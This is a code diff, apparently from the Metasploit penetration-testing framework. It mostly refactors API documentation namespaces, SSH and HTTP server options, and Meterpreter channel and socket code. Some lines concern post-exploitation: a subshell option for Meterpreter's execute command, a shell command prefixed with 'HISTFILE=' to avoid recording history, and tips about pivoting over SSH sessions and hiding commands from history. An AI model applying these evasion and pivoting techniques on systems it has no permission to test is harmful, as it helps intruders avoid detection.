HOST_ID_DESC = 'The ID of host record associated with this vuln.'
@@ -22,7 +22,7 @@ module VulnApiDoc
# Swagger documentation for vulns model
swagger_schema :Vuln do
key :required, [:host_id, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
@@ -37,17 +37,17 @@ module VulnApiDoc
key :'$ref', :Ref
end
end
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Ref do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :ref_id, type: :integer, format: :int32, description: REF_ID_DESC
property :name, type: :string, required: true, description: REF_NAME_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/vulns' do
@@ -71,14 +71,14 @@ module VulnApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -96,8 +96,8 @@ module VulnApiDoc
key :description, 'The attributes to assign to the vuln.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::HOST_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :refs do
@@ -121,14 +121,14 @@ module VulnApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -155,14 +155,14 @@ module VulnApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -195,14 +195,14 @@ module VulnApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -236,14 +236,14 @@ module VulnApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module VulnAttemptApiDoc
module Msf::WebServices::Documentation::Api::V1::VulnAttemptApiDoc
include Swagger::Blocks
VULN_ID_DESC = 'The ID of the vuln record associated with this vuln attempt was exploiting.'
@@ -18,7 +18,7 @@ module VulnAttemptApiDoc
# Swagger documentation for vuln_attempts model
swagger_schema :VulnAttempt do
key :required, [:vuln_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :loot_id, type: :integer, format: :int32, description: LOOT_ID_DESC
@@ -51,14 +51,14 @@ module VulnAttemptApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -76,7 +76,7 @@ module VulnAttemptApiDoc
key :description, 'The attributes to assign to the vuln attempt.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC
property :exploited, type: :boolean, description: EXPLOITED_DESC
@@ -88,7 +88,7 @@ module VulnAttemptApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :VulnAttempt
@@ -97,14 +97,14 @@ module VulnAttemptApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -137,14 +137,14 @@ module VulnAttemptApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module WorkspaceApiDoc
module Msf::WebServices::Documentation::Api::V1::WorkspaceApiDoc
include Swagger::Blocks
NAME_DESC = 'The name of the workspace. This is the unique identifier for determining which workspace is being accessed.'
@@ -14,15 +14,15 @@ module WorkspaceApiDoc
# Swagger documentation for workspaces model
swagger_schema :Workspace do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :name, type: :string, description: NAME_DESC
property :boundary, type: :string, description: BOUNDARY_DESC, example: BOUNDARY_EXAMPLE
property :description, type: :string, description: DESCRIPTION_DESC
property :owner_id, type: :integer, format: :int32, description: OWNER_ID_DESC
property :limit_to_network, type: :boolean, description: LIMIT_TO_NETWORK_DESC
property :import_fingerprint, type: :boolean, description: IMPORT_FINGERPRINT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/workspaces' do
@@ -44,14 +44,14 @@ module WorkspaceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -74,7 +74,7 @@ module WorkspaceApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Workspace
@@ -83,14 +83,14 @@ module WorkspaceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -117,14 +117,14 @@ module WorkspaceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -157,14 +157,14 @@ module WorkspaceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -189,7 +189,7 @@ module WorkspaceApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Workspace
@@ -198,14 +198,14 @@ module WorkspaceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,26 +1,4 @@
require 'swagger/blocks'
load 'documentation/api/v1/root_api_doc.rb'
load 'documentation/api/v1/auth_api_doc.rb'
load 'documentation/api/v1/credential_api_doc.rb'
load 'documentation/api/v1/db_export_api_doc.rb'
load 'documentation/api/v1/event_api_doc.rb'
load 'documentation/api/v1/exploit_api_doc.rb'
load 'documentation/api/v1/host_api_doc.rb'
load 'documentation/api/v1/login_api_doc.rb'
load 'documentation/api/v1/loot_api_doc.rb'
load 'documentation/api/v1/module_search_api_doc.rb'
load 'documentation/api/v1/msf_api_doc.rb'
load 'documentation/api/v1/nmap_api_doc.rb'
load 'documentation/api/v1/note_api_doc.rb'
load 'documentation/api/v1/payload_api_doc.rb'
load 'documentation/api/v1/service_api_doc.rb'
load 'documentation/api/v1/session_api_doc.rb'
load 'documentation/api/v1/session_event_api_doc.rb'
load 'documentation/api/v1/user_api_doc.rb'
load 'documentation/api/v1/vuln_api_doc.rb'
load 'documentation/api/v1/vuln_attempt_api_doc.rb'
load 'documentation/api/v1/workspace_api_doc.rb'
module Msf::WebServices::ApiDocsServlet
include Swagger::Blocks
@@ -45,27 +23,27 @@ module Msf::WebServices::ApiDocsServlet
def self.get_api_docs
lambda {
swaggered_classes = [
RootApiDoc,
AuthApiDoc,
CredentialApiDoc,
DbExportApiDoc,
EventApiDoc,
ExploitApiDoc,
HostApiDoc,
LoginApiDoc,
LootApiDoc,
ModuleSearchApiDoc,
MsfApiDoc,
NmapApiDoc,
NoteApiDoc,
PayloadApiDoc,
ServiceApiDoc,
SessionApiDoc,
SessionEventApiDoc,
UserApiDoc,
VulnApiDoc,
VulnAttemptApiDoc,
WorkspaceApiDoc
Msf::WebServices::Documentation::Api::V1::RootApiDoc,
Msf::WebServices::Documentation::Api::V1::AuthApiDoc,
Msf::WebServices::Documentation::Api::V1::CredentialApiDoc,
Msf::WebServices::Documentation::Api::V1::DbExportApiDoc,
Msf::WebServices::Documentation::Api::V1::EventApiDoc,
Msf::WebServices::Documentation::Api::V1::ExploitApiDoc,
Msf::WebServices::Documentation::Api::V1::HostApiDoc,
Msf::WebServices::Documentation::Api::V1::LoginApiDoc,
Msf::WebServices::Documentation::Api::V1::LootApiDoc,
Msf::WebServices::Documentation::Api::V1::ModuleSearchApiDoc,
Msf::WebServices::Documentation::Api::V1::MsfApiDoc,
Msf::WebServices::Documentation::Api::V1::NmapApiDoc,
Msf::WebServices::Documentation::Api::V1::NoteApiDoc,
Msf::WebServices::Documentation::Api::V1::PayloadApiDoc,
Msf::WebServices::Documentation::Api::V1::ServiceApiDoc,
Msf::WebServices::Documentation::Api::V1::SessionApiDoc,
Msf::WebServices::Documentation::Api::V1::SessionEventApiDoc,
Msf::WebServices::Documentation::Api::V1::UserApiDoc,
Msf::WebServices::Documentation::Api::V1::VulnApiDoc,
Msf::WebServices::Documentation::Api::V1::VulnAttemptApiDoc,
Msf::WebServices::Documentation::Api::V1::WorkspaceApiDoc
].freeze
json = Swagger::Blocks.build_root_json(swaggered_classes)
set_json_response(json, [])
+1
View File
@@ -36,6 +36,7 @@ module Msf
"Use #{highlight('sessions -1')} to interact with the last opened session",
"View missing module options with #{highlight('show missing')}",
"Start commands with a space to avoid saving them to history",
"You can pivot connections over sessions started with the ssh_login modules"
].freeze
private_constant :COMMON_TIPS
+2 -2
View File
@@ -61,7 +61,8 @@ class MsfAutoload
"#{__dir__}/msf/base.rb",
"#{__dir__}/rex/post/",
"#{__dir__}/rex/post.rb",
"#{__dir__}/rex/proto/ssh/hrr_rb_ssh.rb"
"#{__dir__}/rex/proto/ssh/hrr_rb_ssh.rb",
"#{__dir__}/rex/proto/ssh/connection.rb"
]
end
@@ -295,7 +296,6 @@ class MsfAutoload
[
{ path: "#{__dir__}/msf/", namespace: Msf },
{ path: "#{__dir__}/rex/", namespace: Rex },
{ path: "#{__dir__}/../app/validators/" },
]
end
+10 -2
View File
@@ -49,10 +49,18 @@ class Net::SSH::CommandStream
self.ssh = ssh
self.thread = Thread.new(ssh, cmd, pty, cleanup) do |rssh, rcmd, rpty, rcleanup|
info = rssh.transport.socket.getpeername_as_array
self.lsock.peerinfo = "#{info[1]}:#{info[2]}"
if Rex::Socket.is_ipv6?(info[1])
self.lsock.peerinfo = "[#{info[1]}]:#{info[2]}"
else
self.lsock.peerinfo = "#{info[1]}:#{info[2]}"
end
info = rssh.transport.socket.getsockname
self.lsock.localinfo = "#{info[1]}:#{info[2]}"
if Rex::Socket.is_ipv6?(info[1])
self.lsock.localinfo = "[#{info[1]}]:#{info[2]}"
else
self.lsock.localinfo = "#{info[1]}:#{info[2]}"
end
channel = rssh.open_channel do |rch|
# A PTY will write us to {u,w}tmp and lastlog
+4
View File
@@ -0,0 +1,4 @@
# -*- coding: binary -*-
require 'rex/post/channel/container'
require 'rex/post/channel/socket_abstraction'
+52
View File
@@ -0,0 +1,52 @@
# -*- coding: binary -*-
module Rex
module Post
module Channel
###
#
# This interface is meant to be included by things that are meant to contain
# zero or more channel instances in the form of a hash.
#
###
module Container
#
# Initializes the channel association hash
#
def initialize_channels
self.channels = {}
end
#
# Adds a channel to the container that is indexed by its channel identifier
#
def add_channel(channel)
channels[channel.cid] = channel
end
#
# Looks up a channel instance based on its channel identifier
#
def find_channel(cid)
return channels[cid]
end
#
# Removes a channel based on its channel identifier
#
def remove_channel(cid)
return channels.delete(cid)
end
#
# The hash of channels.
#
attr_reader :channels
protected
attr_writer :channels # :nodoc:
end
end
end
end
@@ -0,0 +1,61 @@
# -*- coding: binary -*-
module Rex
module Post
module Channel
module SocketAbstraction
###
#
# This interface is meant to be included by channelized sockets. It updates
# their getname methods to correctly report the information based on the
# channel object (which must have a `#params` attribute).
#
###
module SocketInterface
include Rex::Socket
def getsockname
return super unless channel
# Find the first host in our chain (our address)
hops = 0
csock = channel.client.sock
while csock.respond_to?('channel')
csock = csock.channel.client.sock
hops += 1
end
_address_family, caddr, _cport = csock.getsockname
address_family, raddr, _rport = csock.getpeername_as_array
_maddr = channel.params.localhost
mport = channel.params.localport
[ address_family, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ''}-#{raddr}", mport ]
end
def getpeername
return super if !channel
maddr = channel.params.peerhost
mport = channel.params.peerport
::Socket.sockaddr_in(mport, maddr)
end
%i[localhost localport peerhost peerport].map do |meth|
define_method(meth) do
return super if !channel
channel.params.send(meth)
end
end
def close
super
channel.cleanup_abstraction
channel.close
end
attr_accessor :channel
end
end
end
end
end
@@ -1,54 +0,0 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
###
#
# This interface is meant to be included by things that are meant to contain
# zero or more channel instances in the form of a hash.
#
###
module ChannelContainer
#
# Initializes the channel association hash
#
def initialize_channels
self.channels = {}
end
#
# Adds a channel to the container that is indexed by its channel identifier
#
def add_channel(channel)
self.channels[channel.cid] = channel
end
#
# Looks up a channel instance based on its channel identifier
#
def find_channel(cid)
return self.channels[cid]
end
#
# Removes a channel based on its channel identifier
#
def remove_channel(cid)
return self.channels.delete(cid)
end
#
# The hash of channels.
#
attr_reader :channels
protected
attr_writer :channels # :nodoc:
end
end; end; end
@@ -1,5 +1,6 @@
# -*- coding: binary -*-
require 'rex/post/channel'
require 'rex/post/meterpreter/channel'
module Rex
@@ -17,45 +18,7 @@ module Meterpreter
###
module SocketAbstraction
module SocketInterface
include Rex::Socket
def getsockname
return super if not channel
# Find the first host in our chain (our address)
hops = 0
csock = channel.client.sock
while(csock.respond_to?('channel'))
csock = csock.channel.client.sock
hops += 1
end
_address_family,caddr,_cport = csock.getsockname
address_family,raddr,_rport = csock.getpeername_as_array
_maddr,mport = [ channel.params.localhost, channel.params.localport ]
[ address_family, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", mport ]
end
def getpeername
return super if not channel
maddr,mport = [ channel.params.peerhost, channel.params.peerport ]
::Socket.sockaddr_in(mport, maddr)
end
%i{localhost localport peerhost peerport}.map do |meth|
define_method(meth) {
return super if not channel
channel.params.send(meth)
}
end
def close
super
channel.cleanup_abstraction
channel.close
end
attr_accessor :channel
end
include Rex::Post::Channel::SocketAbstraction
#
# Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair
@@ -29,6 +29,7 @@ class Stream < Rex::Post::Meterpreter::Channel
module SocketInterface
include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface
def type?
'tcp'
end
+2 -2
View File
@@ -3,10 +3,10 @@
require 'socket'
require 'openssl'
require 'rex/post/channel'
require 'rex/post/meterpreter/extension_mapper'
require 'rex/post/meterpreter/client_core'
require 'rex/post/meterpreter/channel'
require 'rex/post/meterpreter/channel_container'
require 'rex/post/meterpreter/dependencies'
require 'rex/post/meterpreter/object_aliases'
require 'rex/post/meterpreter/packet'
@@ -35,8 +35,8 @@ end
###
class Client
include Rex::Post::Channel::Container
include Rex::Post::Meterpreter::PacketDispatcher
include Rex::Post::Meterpreter::ChannelContainer
include Rex::Post::Meterpreter::PivotContainer
#
@@ -33,6 +33,7 @@ class Console::CommandDispatcher::Stdapi::Sys
"-d" => [ true, "The 'dummy' executable to launch when using -m." ],
"-t" => [ false, "Execute process with currently impersonated thread token"],
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
"-z" => [ false, "Execute process in a subshell" ],
"-s" => [ true, "Execute process in a given session as the session user" ])
#
@@ -201,6 +202,7 @@ class Console::CommandDispatcher::Stdapi::Sys
cmd_args = nil
cmd_exec = nil
use_thread_token = false
subshell = false
@@execute_opts.parse(args) { |opt, idx, val|
case opt
@@ -228,6 +230,8 @@ class Console::CommandDispatcher::Stdapi::Sys
use_thread_token = true
when "-s"
session = val.to_i
when "-z"
subshell = true
end
}
@@ -244,6 +248,7 @@ class Console::CommandDispatcher::Stdapi::Sys
'Session' => session,
'Hidden' => hidden,
'InMemory' => (from_mem) ? dummy_exec : nil,
'Subshell' => subshell,
'UseThreadToken' => use_thread_token)
print_line("Process #{p.pid} created.")
@@ -405,7 +410,7 @@ class Console::CommandDispatcher::Stdapi::Sys
cmd.prepend('env TERM=xterm HISTFILE= ')
print_status(cmd)
cmd_execute('-f', cmd, '-c', '-i')
cmd_execute('-f', cmd, '-c', '-i', '-z')
true
end
+11 -9
View File
@@ -100,7 +100,7 @@ class Server
#
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {},
comm = nil, ssl_cert = nil, ssl_compression = false,
ssl_cipher = nil)
ssl_cipher = nil, ssl_version = nil)
self.listen_host = listen_host
self.listen_port = port
self.ssl = ssl
@@ -109,6 +109,7 @@ class Server
self.ssl_cert = ssl_cert
self.ssl_compression = ssl_compression
self.ssl_cipher = ssl_cipher
self.ssl_version = ssl_version
self.listener = nil
self.resources = {}
self.server_name = DefaultServer
@@ -142,14 +143,15 @@ class Server
def start
self.listener = Rex::Socket::TcpServer.create(
'LocalHost' => self.listen_host,
'LocalPort' => self.listen_port,
'Context' => self.context,
'SSL' => self.ssl,
'SSLCert' => self.ssl_cert,
'LocalHost' => self.listen_host,
'LocalPort' => self.listen_port,
'Context' => self.context,
'SSL' => self.ssl,
'SSLCert' => self.ssl_cert,
'SSLCompression' => self.ssl_compression,
'SSLCipher' => self.ssl_cipher,
'Comm' => self.comm
'SSLCipher' => self.ssl_cipher,
'SSLVersion' => self.ssl_version,
'Comm' => self.comm
)
# Register callbacks
@@ -272,7 +274,7 @@ class Server
end
attr_accessor :listen_port, :listen_host, :server_name, :context, :comm
attr_accessor :ssl, :ssl_cert, :ssl_compression, :ssl_cipher
attr_accessor :ssl, :ssl_cert, :ssl_compression, :ssl_cipher, :ssl_version
attr_accessor :listener, :resources
protected
+18 -1
View File
@@ -14,6 +14,10 @@ module ServerClient
# Initialize a new connection instance.
#
def init_cli(server, do_not_start = false)
# Ssh relies on PTY not available on Windows, limiting the `require` here
# ensures eager_load patterns from zeitwerk will not attempt to load `hrr_rb_ssh`
# during startup.
require 'connection'
@server = server
@connection = Rex::Proto::Ssh::Connection.new(
self, server.server_options.merge(ssh_server: server), server.context
@@ -21,6 +25,8 @@ module ServerClient
@connection_thread = Rex::ThreadFactory.spawn("SshConnectionMonitor-#{self}", false) {
self.connection.start
} unless do_not_start
rescue LoadError => e
wlog(e)
end
def close
@@ -44,7 +50,7 @@ class Server
# hostname.
#
def initialize(port = 22, listen_host = '0.0.0.0', context = {}, comm = nil,
ssh_opts = Ssh::Connection.default_options, cc_cb = nil, cd_cb = nil)
ssh_opts = default_options, cc_cb = nil, cd_cb = nil)
self.listen_host = listen_host
self.listen_port = port
@@ -193,6 +199,17 @@ protected
end
end
private
# Ssh relies on PTY not available on Windows, limiting the `require` here
# ensures eager_load patterns from zeitwerk will not attempt to load `hrr_rb_ssh`
# during startup.
def default_options
require 'connection'
Ssh::Connection.default_options
rescue LoadError => e
wlog(e)
end
end
end

Some files were not shown because too many files have changed in this diff Show More